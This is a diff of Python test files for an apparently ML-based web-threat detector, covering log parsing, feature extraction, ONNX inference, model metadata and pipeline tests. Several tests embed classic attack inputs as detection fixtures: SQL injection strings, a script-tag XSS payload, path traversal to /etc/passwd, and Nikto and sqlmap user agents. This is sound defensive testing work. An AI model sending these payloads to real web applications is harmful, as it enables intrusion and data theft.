@ -96,7 +109,8 @@ def test_query_string_features() -> None:
"""
Query param count and length are extracted correctly.
"""
features = extract_request_features(_make_entry(query_string="page=1&sort=name&limit=50"))
features = extract_request_features(
_make_entry(query_string="page=1&sort=name&limit=50"))
assert features["query_param_count"] == 3
assert features["query_string_length"] == len("page=1&sort=name&limit=50")
@ -110,11 +124,11 @@ def test_url_encoding_detection() -> None:
Percent-encoded sequences are detected in path and query.
"""
encoded = extract_request_features(
_make_entry(path="/search", query_string="q=%27OR+1%3D1")
)
_make_entry(path="/search", query_string="q=%27OR+1%3D1"))
assert encoded["has_encoded_chars"] is True
clean = extract_request_features(_make_entry(path="/index.html", query_string=""))
clean = extract_request_features(
_make_entry(path="/index.html", query_string=""))
assert clean["has_encoded_chars"] is False
@ -133,9 +147,12 @@ def test_status_class() -> None:
"""
Status class groups status codes into Nxx buckets.
"""
assert extract_request_features(_make_entry(status_code=200))["status_class"] == "2xx"
assert extract_request_features(_make_entry(status_code=404))["status_class"] == "4xx"
assert extract_request_features(_make_entry(status_code=503))["status_class"] == "5xx"
assert extract_request_features(
_make_entry(status_code=200))["status_class"] == "2xx"
assert extract_request_features(
_make_entry(status_code=404))["status_class"] == "4xx"
assert extract_request_features(
_make_entry(status_code=503))["status_class"] == "5xx"
def test_temporal_features() -> None:
@ -161,14 +178,13 @@ def test_ua_bot_detection() -> None:
"""
bot = extract_request_features(
_make_entry(
user_agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
)
)
user_agent=
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
))
assert bot["is_known_bot"] is True
normal = extract_request_features(
_make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
)
_make_entry(user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64)"))
assert normal["is_known_bot"] is False
@ -176,7 +192,8 @@ def test_ua_scanner_detection() -> None:
"""
Known vulnerability scanner user agents are flagged.
"""
nikto = extract_request_features(_make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
nikto = extract_request_features(
_make_entry(user_agent="Mozilla/5.00 (Nikto/2.1.6)"))
assert nikto["is_known_scanner"] is True
sqlmap = extract_request_features(_make_entry(user_agent="sqlmap/1.8"))
@ -187,15 +204,17 @@ def test_attack_pattern_detection() -> None:
"""
SQLi, XSS, and path traversal patterns in paths are detected.
"""
sqli = extract_request_features(_make_entry(path="/users", query_string="id=1' OR 1=1--"))
sqli = extract_request_features(
_make_entry(path="/users", query_string="id=1' OR 1=1--"))
assert sqli["has_attack_pattern"] is True
xss = extract_request_features(
_make_entry(path="/comment", query_string="body=<script>alert(1)</script>")
)
_make_entry(path="/comment",
query_string="body=<script>alert(1)</script>"))
assert xss["has_attack_pattern"] is True
traversal = extract_request_features(_make_entry(path="/static/../../etc/passwd"))
traversal = extract_request_features(
_make_entry(path="/static/../../etc/passwd"))
assert traversal["has_attack_pattern"] is True
clean = extract_request_features(_make_entry(path="/api/v1/health"))
@ -206,11 +225,12 @@ def test_special_char_ratio() -> None:
"""
Paths with many non-alphanumeric characters have higher ratios.
"""
clean = extract_request_features(_make_entry(path="/api/users"))["special_char_ratio"]
clean = extract_request_features(
_make_entry(path="/api/users"))["special_char_ratio"]
noisy = extract_request_features(_make_entry(path="/<script>alert('xss')</script>"))[
"special_char_ratio"
]
noisy = extract_request_features(
_make_entry(
path="/<script>alert('xss')</script>"))["special_char_ratio"]
assert noisy > clean
@ -219,20 +239,25 @@ def test_private_ip_detection() -> None:
"""
RFC 1918 and loopback addresses are classified as private.
"""
assert extract_request_features(_make_entry(ip="192.168.1.1"))["is_private_ip"] is True
assert extract_request_features(
_make_entry(ip="192.168.1.1"))["is_private_ip"] is True
assert extract_request_features(_make_entry(ip="127.0.0.1"))["is_private_ip"] is True
assert extract_request_features(
_make_entry(ip="127.0.0.1"))["is_private_ip"] is True
assert extract_request_features(_make_entry(ip="8.8.8.8"))["is_private_ip"] is False
assert extract_request_features(
_make_entry(ip="8.8.8.8"))["is_private_ip"] is False
def test_file_extension() -> None:
"""
File extension is extracted from the path.
"""
assert extract_request_features(_make_entry(path="/style.css"))["file_extension"] == ".css"
assert extract_request_features(
_make_entry(path="/style.css"))["file_extension"] == ".css"
assert extract_request_features(_make_entry(path="/api/users"))["file_extension"] == ""
assert extract_request_features(
_make_entry(path="/api/users"))["file_extension"] == ""
def test_country_code_passthrough() -> None:
@ -246,13 +271,6 @@ def test_country_code_passthrough() -> None:
assert features_empty["country_code"] == ""
import time # noqa: E402
import fakeredis.aioredis # noqa: E402
import pytest # noqa: E402
from app.core.features.aggregator import WindowAggregator # noqa: E402
AGGREGATOR_KEYS = {
"req_count_1m",
"req_count_5m",
@ -428,10 +446,6 @@ async def test_aggregator_window_boundary(aggregator) -> None:
assert result["req_count_5m"] == 2
from app.core.features.encoder import encode_for_inference # noqa: E402
from app.core.features.mappings import FEATURE_ORDER, METHOD_MAP, STATUS_CLASS_MAP # noqa: E402
def _full_features() -> dict[str, int | float | bool | str]:
"""
Build a complete 35-key feature dict with realistic values.

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_geoip.py
Tests the GeoIP lookup service including private IP handling and missing database fallback.
"""
from unittest.mock import MagicMock, patch
@ -108,7 +110,9 @@ async def test_lookup_missing_city_name(mock_reader) -> None:
"""
Responses with None city name are handled gracefully.
"""
mock_reader.city.return_value = _mock_city_response(city_name=None, lat=0.0, lon=0.0)
mock_reader.city.return_value = _mock_city_response(city_name=None,
lat=0.0,
lon=0.0)
service = GeoIPService.__new__(GeoIPService)
service._reader = mock_reader

View File

@ -0,0 +1,142 @@
"""
©AngelaMos | 2026
test_inference.py
Tests the InferenceEngine: model loading, predict output shapes, score ranges, and missing-model handling.
"""
import json
from pathlib import Path
import numpy as np
import pytest
from ml.autoencoder import ThreatAutoencoder
from ml.export_onnx import (
export_autoencoder,
export_isolation_forest,
export_random_forest,
)
from ml.scaler import FeatureScaler
from sklearn.ensemble import IsolationForest, RandomForestClassifier
from app.core.detection.inference import InferenceEngine
@pytest.fixture
def model_dir(tmp_path: Path) -> Path:
"""
Create a temp directory with all 3 ONNX models + scaler + threshold
"""
rng = np.random.default_rng(42)
X = rng.standard_normal((200, 35)).astype(np.float32)
y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
ae = ThreatAutoencoder(input_dim=35)
export_autoencoder(ae, tmp_path / "ae.onnx")
rf = RandomForestClassifier(n_estimators=10, random_state=42)
rf.fit(X, y)
export_random_forest(rf, 35, tmp_path / "rf.onnx")
iso = IsolationForest(n_estimators=10, random_state=42)
iso.fit(X[:140])
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
scaler = FeatureScaler()
scaler.fit(X[:140])
scaler.save_json(tmp_path / "scaler.json")
threshold_data = {"threshold": 0.05}
(tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
return tmp_path
class TestInferenceEngine:
def test_loads_all_models(self, model_dir: Path) -> None:
"""
Engine reports is_loaded=True when all three ONNX models are present.
"""
engine = InferenceEngine(model_dir=str(model_dir))
assert engine.is_loaded
def test_returns_none_when_no_models(self) -> None:
"""
Engine reports is_loaded=False when the model directory does not exist.
"""
engine = InferenceEngine(model_dir="/nonexistent/path")
assert not engine.is_loaded
def test_predict_returns_none_when_not_loaded(self) -> None:
"""
predict returns None when the engine has no models loaded.
"""
engine = InferenceEngine(model_dir="/nonexistent/path")
result = engine.predict(np.zeros((1, 35), dtype=np.float32))
assert result is None
def test_predict_returns_scores(self, model_dir: Path) -> None:
"""
predict returns a dict with ae, rf, and if score arrays.
"""
engine = InferenceEngine(model_dir=str(model_dir))
rng = np.random.default_rng(99)
x = rng.standard_normal((4, 35)).astype(np.float32)
result = engine.predict(x)
assert result is not None
assert "ae" in result
assert "rf" in result
assert "if" in result
def test_predict_ae_scores_are_positive(self, model_dir: Path) -> None:
"""
AE reconstruction error scores are non-negative for all samples.
"""
engine = InferenceEngine(model_dir=str(model_dir))
rng = np.random.default_rng(99)
x = rng.standard_normal((4, 35)).astype(np.float32)
result = engine.predict(x)
assert result is not None
assert all(s >= 0.0 for s in result["ae"])
def test_predict_rf_probabilities_in_range(self, model_dir: Path) -> None:
"""
RF malicious-class probabilities are within [0, 1].
"""
engine = InferenceEngine(model_dir=str(model_dir))
rng = np.random.default_rng(99)
x = rng.standard_normal((4, 35)).astype(np.float32)
result = engine.predict(x)
assert result is not None
assert all(0.0 <= p <= 1.0 for p in result["rf"])
def test_predict_single_sample(self, model_dir: Path) -> None:
"""
predict works on a single sample and returns one score per model.
"""
engine = InferenceEngine(model_dir=str(model_dir))
rng = np.random.default_rng(99)
x = rng.standard_normal((1, 35)).astype(np.float32)
result = engine.predict(x)
assert result is not None
assert len(result["ae"]) == 1
assert len(result["rf"]) == 1
assert len(result["if"]) == 1
def test_threshold_loaded(self, model_dir: Path) -> None:
"""
Autoencoder threshold is read from threshold.json on initialization.
"""
engine = InferenceEngine(model_dir=str(model_dir))
assert engine.threshold == 0.05
def test_partial_models_not_loaded(self, tmp_path: Path) -> None:
"""
Engine with only the AE model present reports is_loaded=False.
"""
ae = ThreatAutoencoder(input_dim=35)
export_autoencoder(ae, tmp_path / "ae.onnx")
engine = InferenceEngine(model_dir=str(tmp_path))
assert not engine.is_loaded

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_integration.py
End-to-end tests covering the full path from log file write through tailer, pipeline, and database storage.
"""
import asyncio
@ -22,29 +24,22 @@ from app.core.ingestion.pipeline import Pipeline
from app.core.ingestion.tailer import LogTailer
from app.models.threat_event import ThreatEvent
NORMAL_LINE = (
"192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
'"GET /index.html HTTP/1.1" 200 4523 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
NORMAL_LINE = ("192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
'"GET /index.html HTTP/1.1" 200 4523 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
SQLI_LINE = (
"198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
'"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
SQLI_LINE = ("198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
'"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
XSS_LINE = (
"198.51.100.11 - - [11/Feb/2026:10:00:02 +0000] "
'"GET /comment?text=<script>alert(1)</script> HTTP/1.1" 200 3210 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
PATH_TRAVERSAL_LINE = (
"198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
'"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
PATH_TRAVERSAL_LINE = ("198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
'"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
def _write_lines(log_path: str, *lines: str) -> None:
@ -127,7 +122,8 @@ async def _poll_threat_count(
for _ in range(int(timeout / 0.1)):
await asyncio.sleep(0.1)
async with session_factory() as session:
result = await session.execute(select(func.count()).select_from(ThreatEvent))
result = await session.execute(
select(func.count()).select_from(ThreatEvent))
count = result.scalar_one()
if count >= expected:
return count
@ -163,15 +159,15 @@ async def test_only_medium_plus_stored(integration_env) -> None:
lines = [
f"192.168.1.{i + 1} - - [11/Feb/2026:10:00:0{i} +0000] "
f'"GET /page/{i} HTTP/1.1" 200 1234 "-" '
f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
for i in range(5)
f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"' for i in range(5)
]
_write_lines(env["log_path"], *lines)
await asyncio.sleep(2.0)
async with env["session_factory"]() as session:
result = await session.execute(select(func.count()).select_from(ThreatEvent))
result = await session.execute(
select(func.count()).select_from(ThreatEvent))
count = result.scalar_one()
assert count == 0

View File

@ -0,0 +1,226 @@
"""
©AngelaMos | 2026
test_metadata.py
"""
import json
from pathlib import Path
import pytest
from sqlalchemy.ext.asyncio import (
AsyncSession,
async_sessionmaker,
create_async_engine,
)
from sqlalchemy.pool import StaticPool
from sqlalchemy import select
from sqlmodel import SQLModel
from app.models.model_metadata import ModelMetadata
from ml.metadata import compute_model_version, save_model_metadata
@pytest.fixture
async def db_session(tmp_path: Path):
"""
In-memory SQLite session for metadata tests
"""
from app.models import model_metadata as _reg # noqa: F401
engine = create_async_engine(
"sqlite+aiosqlite://",
connect_args={"check_same_thread": False},
poolclass=StaticPool,
)
async with engine.begin() as conn:
await conn.run_sync(SQLModel.metadata.create_all)
factory = async_sessionmaker(engine,
class_=AsyncSession,
expire_on_commit=False)
async with factory() as session:
yield session
await engine.dispose()
@pytest.fixture
def model_artifacts(tmp_path: Path) -> Path:
"""
Create fake ONNX model files for version hashing
"""
(tmp_path / "ae.onnx").write_bytes(b"ae-model-data-123")
(tmp_path / "rf.onnx").write_bytes(b"rf-model-data-456")
(tmp_path / "if.onnx").write_bytes(b"if-model-data-789")
(tmp_path / "scaler.json").write_text(
json.dumps({
"center": [0.0],
"scale": [1.0]
}))
(tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
return tmp_path
class TestComputeModelVersion:
"""
Test SHA-256 based model version hashing
"""
def test_returns_12_char_hex(self, model_artifacts: Path) -> None:
"""
Version string is a 12-character hex digest
"""
version = compute_model_version(model_artifacts / "ae.onnx")
assert len(version) == 12
assert all(c in "0123456789abcdef" for c in version)
def test_same_file_same_version(self, model_artifacts: Path) -> None:
"""
Same file produces the same version string
"""
v1 = compute_model_version(model_artifacts / "ae.onnx")
v2 = compute_model_version(model_artifacts / "ae.onnx")
assert v1 == v2
def test_different_files_different_versions(self,
model_artifacts: Path) -> None:
"""
Different files produce different version strings
"""
v_ae = compute_model_version(model_artifacts / "ae.onnx")
v_rf = compute_model_version(model_artifacts / "rf.onnx")
assert v_ae != v_rf
class TestSaveModelMetadata:
"""
Test model metadata persistence to database
"""
@pytest.mark.asyncio
async def test_creates_three_rows(
self,
db_session: AsyncSession,
model_artifacts: Path,
) -> None:
"""
save_model_metadata creates one row per model type
"""
rows = await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=500,
metrics={
"f1": 0.9,
"pr_auc": 0.88
},
)
assert len(rows) == 3
@pytest.mark.asyncio
async def test_all_rows_active(
self,
db_session: AsyncSession,
model_artifacts: Path,
) -> None:
"""
All newly saved models are marked as active
"""
rows = await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=500,
metrics={"f1": 0.9},
)
assert all(r.is_active for r in rows)
@pytest.mark.asyncio
async def test_model_types_correct(
self,
db_session: AsyncSession,
model_artifacts: Path,
) -> None:
"""
Row model types are autoencoder, random_forest, isolation_forest
"""
rows = await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=500,
metrics={},
)
types = {r.model_type for r in rows}
assert types == {
"autoencoder",
"random_forest",
"isolation_forest",
}
@pytest.mark.asyncio
async def test_previous_active_replaced(
self,
db_session: AsyncSession,
model_artifacts: Path,
) -> None:
"""
Saving new metadata replaces previous active models
"""
await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=500,
metrics={"f1": 0.9},
)
(model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=600,
metrics={"f1": 0.95},
)
result = await db_session.execute(select(ModelMetadata))
all_rows = result.scalars().all()
active_rows = [r for r in all_rows if r.is_active]
assert len(active_rows) == 3
assert all(r.training_samples == 600 for r in active_rows)
@pytest.mark.asyncio
async def test_previous_inactive_rows_preserved(
self,
db_session: AsyncSession,
model_artifacts: Path,
) -> None:
"""
Old model rows are deactivated, not deleted, after a new save
"""
await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=500,
metrics={"f1": 0.9},
)
(model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
await save_model_metadata(
db_session,
model_dir=model_artifacts,
training_samples=600,
metrics={"f1": 0.95},
)
result = await db_session.execute(select(ModelMetadata))
all_rows = result.scalars().all()
inactive = [r for r in all_rows if not r.is_active]
assert len(all_rows) == 6
assert len(inactive) == 3
assert all(r.training_samples == 500 for r in inactive)

View File

@ -0,0 +1,179 @@
"""
©AngelaMos | 2026
test_ml_integration.py
"""
import json
from pathlib import Path
import fakeredis.aioredis
import numpy as np
import pytest
from sklearn.ensemble import (
IsolationForest,
RandomForestClassifier,
)
from app.core.detection.inference import InferenceEngine
from app.core.detection.rules import RuleEngine
from app.core.ingestion.pipeline import (
Pipeline,
ScoredRequest,
)
from ml.autoencoder import ThreatAutoencoder
from ml.export_onnx import (
export_autoencoder,
export_isolation_forest,
export_random_forest,
)
from ml.scaler import FeatureScaler
VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /api/v1/users HTTP/1.1" 200 1234 '
'"https://example.com" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
'"-" "Mozilla/5.0"')
@pytest.fixture
def trained_model_dir(tmp_path: Path) -> Path:
"""
Create a temp directory with trained ONNX models,
scaler, and threshold
"""
rng = np.random.default_rng(42)
X = rng.standard_normal((200, 35)).astype(np.float32)
y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
ae = ThreatAutoencoder(input_dim=35)
export_autoencoder(ae, tmp_path / "ae.onnx")
rf = RandomForestClassifier(n_estimators=10, random_state=42)
rf.fit(X, y)
export_random_forest(rf, 35, tmp_path / "rf.onnx")
iso = IsolationForest(n_estimators=10, random_state=42)
iso.fit(X[:140])
export_isolation_forest(iso, 35, tmp_path / "if.onnx")
scaler = FeatureScaler()
scaler.fit(X[:140])
scaler.save_json(tmp_path / "scaler.json")
threshold_data = {"threshold": 0.05}
(tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
return tmp_path
async def _make_pipeline_with_ml(
results: list[ScoredRequest],
model_dir: Path,
) -> Pipeline:
"""
Build a Pipeline with ML inference engine wired in
"""
redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
engine = InferenceEngine(model_dir=str(model_dir))
async def collect(sr: ScoredRequest) -> None:
results.append(sr)
pipeline = Pipeline(
redis_client=redis,
rule_engine=RuleEngine(),
on_result=collect,
inference_engine=engine,
)
await pipeline.start()
return pipeline
async def _make_pipeline_rules_only(
results: list[ScoredRequest], ) -> Pipeline:
"""
Build a Pipeline without ML inference engine
"""
redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
async def collect(sr: ScoredRequest) -> None:
results.append(sr)
pipeline = Pipeline(
redis_client=redis,
rule_engine=RuleEngine(),
on_result=collect,
)
await pipeline.start()
return pipeline
class TestMLIntegration:
@pytest.mark.asyncio
async def test_pipeline_with_ml_sets_hybrid_mode(
self, trained_model_dir: Path) -> None:
results: list[ScoredRequest] = []
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
await pipeline.raw_queue.put(VALID_LINE)
await pipeline.stop()
assert len(results) == 1
assert results[0].detection_mode == "hybrid"
@pytest.mark.asyncio
async def test_pipeline_with_ml_produces_final_score(
self, trained_model_dir: Path) -> None:
results: list[ScoredRequest] = []
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
await pipeline.raw_queue.put(VALID_LINE)
await pipeline.stop()
assert len(results) == 1
assert results[0].final_score >= 0.0
assert results[0].final_score <= 1.0
@pytest.mark.asyncio
async def test_rules_only_uses_rule_score(self, ) -> None:
results: list[ScoredRequest] = []
pipeline = await _make_pipeline_rules_only(results)
await pipeline.raw_queue.put(VALID_LINE)
await pipeline.stop()
assert len(results) == 1
assert results[0].detection_mode == "rules"
assert results[0].final_score == results[0].rule_result.threat_score
@pytest.mark.asyncio
async def test_attack_scores_higher_than_benign(
self, trained_model_dir: Path) -> None:
results: list[ScoredRequest] = []
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
await pipeline.raw_queue.put(VALID_LINE)
await pipeline.raw_queue.put(SQLI_LINE)
await pipeline.stop()
assert len(results) == 2
benign_score = results[0].final_score
attack_score = results[1].final_score
assert attack_score > benign_score
@pytest.mark.asyncio
async def test_rule_result_preserved_in_hybrid_mode(
self, trained_model_dir: Path) -> None:
results: list[ScoredRequest] = []
pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
await pipeline.raw_queue.put(SQLI_LINE)
await pipeline.stop()
assert len(results) == 1
assert "SQL_INJECTION" in results[0].rule_result.matched_rules
assert results[0].rule_result.threat_score > 0

View File

@ -0,0 +1,133 @@
"""
©AngelaMos | 2026
test_orchestrator.py
"""
import json
from pathlib import Path
import numpy as np
from ml.orchestrator import TrainingOrchestrator, TrainingResult
N_FEATURES = 35
EXPECTED_FILES = [
"ae.onnx",
"rf.onnx",
"if.onnx",
"scaler.json",
"threshold.json",
]
def _make_dataset() -> tuple[np.ndarray, np.ndarray]:
"""
Generate a small synthetic dataset for testing
"""
rng = np.random.default_rng(42)
X_normal = rng.standard_normal((200, N_FEATURES)).astype(np.float32)
X_attack = (rng.standard_normal((80, N_FEATURES)).astype(np.float32) + 2.0)
X = np.vstack([X_normal, X_attack])
y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
return X, y
class TestTrainingOrchestrator:
"""
Test the end-to-end training orchestrator
"""
def test_produces_all_output_files(self, tmp_path: Path) -> None:
"""
Orchestrator produces all 5 expected output files
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
orch.run(X, y)
for filename in EXPECTED_FILES:
assert (tmp_path / filename).exists(), f"Missing {filename}"
def test_returns_training_result(self, tmp_path: Path) -> None:
"""
Returns a TrainingResult dataclass
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
result = orch.run(X, y)
assert isinstance(result, TrainingResult)
def test_scaler_json_has_required_keys(self, tmp_path: Path) -> None:
"""
scaler.json contains center, scale, and n_features
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
orch.run(X, y)
scaler_data = json.loads((tmp_path / "scaler.json").read_text())
assert "center" in scaler_data
assert "scale" in scaler_data
assert "n_features" in scaler_data
def test_threshold_json_has_float(self, tmp_path: Path) -> None:
"""
threshold.json contains a float threshold value
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
orch.run(X, y)
threshold_data = json.loads((tmp_path / "threshold.json").read_text())
assert "threshold" in threshold_data
assert isinstance(threshold_data["threshold"], float)
def test_result_has_per_model_metrics(self, tmp_path: Path) -> None:
"""
TrainingResult includes metrics for each model
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
result = orch.run(X, y)
assert "ae_threshold" in result.ae_metrics
assert "f1" in result.rf_metrics
assert "n_samples" in result.if_metrics
def test_ensemble_metrics_present(self, tmp_path: Path) -> None:
"""
Ensemble validation metrics are populated
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
result = orch.run(X, y)
assert result.ensemble_metrics is not None
assert 0.0 <= result.ensemble_metrics.f1 <= 1.0
def test_mlflow_run_id_set(self, tmp_path: Path) -> None:
"""
MLflow run ID is captured in the result
"""
X, y = _make_dataset()
mlflow_dir = tmp_path / "mlruns"
mlflow_dir.mkdir()
orch = TrainingOrchestrator(
output_dir=tmp_path / "models",
epochs=3,
)
result = orch.run(X, y)
assert result.mlflow_run_id is not None
assert len(result.mlflow_run_id) == 32
def test_passed_gates_is_bool(self, tmp_path: Path) -> None:
"""
passed_gates is a boolean value
"""
X, y = _make_dataset()
orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
result = orch.run(X, y)
assert isinstance(result.passed_gates, bool)

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_parsers.py
Tests nginx combined log line parsing via parse_combined.
"""
from datetime import datetime, UTC
@ -12,12 +14,10 @@ def test_parse_standard_combined_line() -> None:
"""
Parse a standard nginx combined log line into all fields.
"""
line = (
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /api/users?page=1 HTTP/1.1" 200 1234 '
'"https://example.com" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
line = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /api/users?page=1 HTTP/1.1" 200 1234 '
'"https://example.com" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
result = parse_combined(line)
assert result is not None
@ -52,10 +52,8 @@ def test_parse_missing_referer() -> None:
"""
A dash referer is normalized to an empty string.
"""
line = (
"10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
'"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"'
)
line = ("10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
'"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"')
result = parse_combined(line)
assert result is not None
@ -71,8 +69,7 @@ def test_parse_complex_query_string() -> None:
line = (
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /search?q=hello+world&lang=en&page=2&sort=relevance HTTP/1.1" '
'200 5678 "https://example.com/search" "Mozilla/5.0"'
)
'200 5678 "https://example.com/search" "Mozilla/5.0"')
result = parse_combined(line)
assert result is not None
@ -110,11 +107,9 @@ def test_parse_full_ipv6_address() -> None:
"""
Parse a line with a full-length IPv6 address.
"""
line = (
"2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
'[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
'200 256 "-" "python-httpx/0.28"'
)
line = ("2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
'[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
'200 256 "-" "python-httpx/0.28"')
result = parse_combined(line)
assert result is not None

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_pipeline.py
Tests the async ingestion pipeline: parsing, feature extraction, rule scoring, and shutdown.
"""
import fakeredis.aioredis
@ -9,18 +11,14 @@ import pytest
from app.core.detection.rules import RuleEngine
from app.core.ingestion.pipeline import Pipeline, ScoredRequest
VALID_LINE = (
"93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /api/v1/users HTTP/1.1" 200 1234 '
'"https://example.com" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
)
VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
'"GET /api/v1/users HTTP/1.1" 200 1234 '
'"https://example.com" '
'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
SQLI_LINE = (
"93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
'"-" "Mozilla/5.0"'
)
SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
'"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
'"-" "Mozilla/5.0"')
async def _make_pipeline(

View File

@ -1,6 +1,8 @@
"""
©AngelaMos | 2026
test_scaler.py
Tests the FeatureScaler: fitting, transform correctness, JSON serialization, and round-trip loading.
"""
import json
@ -14,6 +16,9 @@ from ml.scaler import FeatureScaler
@pytest.fixture
def sample_data() -> np.ndarray:
"""
Two-hundred samples of 35-dimensional random float32 data.
"""
rng = np.random.default_rng(42)
return rng.standard_normal((200, 35)).astype(np.float32)
@ -21,23 +26,36 @@ def sample_data() -> np.ndarray:
class TestFeatureScaler:
def test_fit_sets_n_features(self, sample_data: np.ndarray) -> None:
"""
Fitting stores the number of input features.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
assert scaler.n_features == 35
def test_transform_preserves_shape(self, sample_data: np.ndarray) -> None:
"""
Transform output has the same shape as the input array.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
transformed = scaler.transform(sample_data)
assert transformed.shape == sample_data.shape
def test_transform_dtype_float32(self, sample_data: np.ndarray) -> None:
"""
Transformed array dtype remains float32.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
transformed = scaler.transform(sample_data)
assert transformed.dtype == np.float32
def test_transformed_median_near_zero(self, sample_data: np.ndarray) -> None:
def test_transformed_median_near_zero(self,
sample_data: np.ndarray) -> None:
"""
Median of each feature column is approximately zero after scaling.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
transformed = scaler.transform(sample_data)
@ -45,17 +63,21 @@ class TestFeatureScaler:
assert np.allclose(medians, 0.0, atol=0.15)
def test_inverse_transform_recovers_original(
self, sample_data: np.ndarray
) -> None:
self, sample_data: np.ndarray) -> None:
"""
Inverse transform recovers the original values within floating-point tolerance.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
transformed = scaler.transform(sample_data)
recovered = scaler.inverse_transform(transformed)
np.testing.assert_allclose(recovered, sample_data, atol=1e-5)
def test_save_json_creates_file(
self, sample_data: np.ndarray, tmp_path: Path
) -> None:
def test_save_json_creates_file(self, sample_data: np.ndarray,
tmp_path: Path) -> None:
"""
save_json writes a non-empty file to the given path.
"""
scaler = FeatureScaler()
scaler.fit(sample_data)
path = tmp_path / "scaler.json"
@ -63,9 +85,11 @@ class TestFeatureScaler:
assert path.exists()
assert path.stat().st_size > 0
